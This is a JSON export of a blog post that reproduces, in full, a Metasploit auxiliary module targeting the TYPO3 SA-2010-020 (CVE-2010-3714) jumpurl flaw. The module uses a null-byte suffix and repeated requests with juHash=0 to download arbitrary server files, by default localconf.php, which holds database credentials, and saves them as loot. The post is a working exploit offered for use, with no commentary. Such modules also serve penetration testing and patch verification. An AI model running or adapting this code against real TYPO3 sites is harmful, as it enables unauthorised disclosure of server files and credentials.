{"id":59308,"date":"2024-09-01T00:49:50","date_gmt":"2024-08-31T21:49:50","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180856\/typo3_sa_2010_020.rb.txt"},"modified":"2024-09-01T00:49:50","modified_gmt":"2024-08-31T21:49:50","slug":"typo3-sa-2010-020-remote-file-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/typo3-sa-2010-020-remote-file-disclosure\/","title":{"rendered":"TYPO3 Sa-2010-020 Remote File Disclosure"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;TYPO3 sa-2010-020 Remote File Disclosure&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.<br \/>Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.<br \/>This flaw can be used to read any file that the web server user account has access to view.<br \/>},<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2010-3714&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/typo3.org\/teams\/security\/security-bulletins\/typo3-sa-2010-020&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/gregorkopf.de\/slides_berlinsides_2010.pdf&#8217;],<br \/>],<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Chris John Riley&#8217;,<br \/>&#8216;Gregor Kopf&#8217;, # Original Discovery<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;URI&#8217;, [true, &#8216;TYPO3 Path&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;RFILE&#8217;, [true, &#8216;The remote file to download&#8217;, &#8216;typo3conf\/localconf.php&#8217;]),<br \/>OptInt.new(&#8216;MAX_TRIES&#8217;, [true, &#8216;Maximum tries&#8217;, 10000]),<br \/>])<br \/>end<\/p>\n<p>def run<br \/># Add padding to bypass TYPO3 security filters<br \/>#<br \/># Null byte fixed in PHP 5.3.4<br \/>#<\/p>\n<p>case datastore[&#8216;RFILE&#8217;]when nil<br \/># Nothing<br \/>when \/localconf\\.php$\/i<br \/>jumpurl = &#8220;#{datastore[&#8216;RFILE&#8217;]}%00\/.&#8221;<br \/>when %r{^\\.\\.(\/|\\\\)}i<br \/>print_error(&#8216;Directory traversal detected&#8230; you might want to start that with a \/.. or \\\\..&#8217;)<br \/>else<br \/>jumpurl = datastore[&#8216;RFILE&#8217;].to_s<br \/>end<\/p>\n<p>print_status(&#8220;Establishing a connection to #{rhost}:#{rport}&#8221;)<br \/>print_status(&#8220;Trying to retrieve #{datastore[&#8216;RFILE&#8217;]}&#8221;)<\/p>\n<p>location_base = Rex::Text.rand_text_numeric(1)<br \/>counter = 0<\/p>\n<p>queue = []print_status(&#8216;Creating request queue&#8217;)<\/p>\n<p>1.upto(datastore[&#8216;MAX_TRIES&#8217;]) do<br \/>counter += 1<br \/>locationData = &#8220;#{location_base}::#{counter}&#8221;<br \/>queue &lt;&lt; &#8220;#{datastore[&#8216;URI&#8217;]}\/index.php?jumpurl=#{jumpurl}&amp;juSecure=1&amp;locationData=#{locationData}&amp;juHash=0&#8221;<br \/>if ((counter.to_f \/ datastore[&#8216;MAX_TRIES&#8217;].to_f) * 100.0).to_s =~ \/(25|50|75|100).0$\/ # Display percentage complete every 25%<br \/>percentage = (counter.to_f \/ datastore[&#8216;MAX_TRIES&#8217;].to_f) * 100<br \/>print_status(&#8220;Queue #{percentage.to_i}% compiled &#8211; [#{counter} \/ #{datastore[&#8216;MAX_TRIES&#8217;]}]&#8221;)<br \/>end<br \/>end<\/p>\n<p>print_status(&#8216;Queue compiled. Beginning requests&#8230; grab a coffee!&#8217;)<\/p>\n<p>counter = 0<br \/>queue.each do |check|<br \/>counter += 1<br \/>check = check.sub(&#8216;\/\/&#8217;, &#8216;\/&#8217;) # Prevent double \/\/ from appearing in uri<br \/>begin<br \/>file = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; check,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Connection&#8217; =&gt; &#8216;Close&#8217;<br \/>}<br \/>}, 25)<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>return<br \/>rescue ::Timeout::Error, ::Errno::EPIPE =&gt; e<br \/>print_error(e.message)<br \/>return<br \/>end<\/p>\n<p>if file.nil?<br \/>print_error(&#8216;Connection timed out&#8217;)<br \/>return<br \/>end<\/p>\n<p>if ((counter.to_f \/ queue.length.to_f) * 100.0).to_s =~ \/\\d0.0$\/ # Display percentage complete every 10%<br \/>percentage = (counter.to_f \/ queue.length.to_f) * 100.0<br \/>print_status(&#8220;Requests #{percentage.to_i}% complete &#8211; [#{counter} \/ #{queue.length}]&#8221;)<br \/>end<\/p>\n<p># file can be nil<br \/>case file.headers[&#8216;Content-Type&#8217;]when &#8216;text\/html&#8217;<br \/>case file.body<br \/>when &#8216;jumpurl Secure: &#8220;&#8216; + datastore[&#8216;RFILE&#8217;] + &#8216;&#8221; was not a valid file!&#8217;<br \/>print_error(&#8220;File #{datastore[&#8216;RFILE&#8217;]} does not exist.&#8221;)<br \/>return<br \/>when \/jumpurl Secure: locationData\/i<br \/>print_error(&#8220;File #{datastore[&#8216;RFILE&#8217;]} is not accessible.&#8221;)<br \/>return<br \/>when &#8216;jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!&#8217;<br \/>print_error(&#8220;File #{datastore[&#8216;RFILE&#8217;]} is not allowed to be accessed through jumpUrl.&#8221;)<br \/>return<br \/>end<br \/>when &#8216;application\/octet-stream&#8217;<br \/>addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB<br \/>print_good(&#8216;Found matching hash&#8217;)<br \/>print_good(&#8216;Writing local file &#8216; + File.basename(datastore[&#8216;RFILE&#8217;].downcase) + &#8216; to loot&#8217;)<br \/>store_loot(&#8216;typo3_&#8217; + File.basename(datastore[&#8216;RFILE&#8217;].downcase), &#8216;text\/xml&#8217;, addr, file.body, &#8216;typo3_&#8217; + File.basename(datastore[&#8216;RFILE&#8217;].downcase), &#8216;Typo3_sa_2010_020&#8217;)<br \/>return<br \/>end<br \/>end<\/p>\n<p>print_error(&#8220;#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore[&#8216;RFILE&#8217;]}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initializesuper(&#8216;Name&#8217; =&gt; &#8216;TYPO3 sa-2010-020 Remote File Disclosure&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.This flaw can &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59308","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59308","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59308"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59308\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59308"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}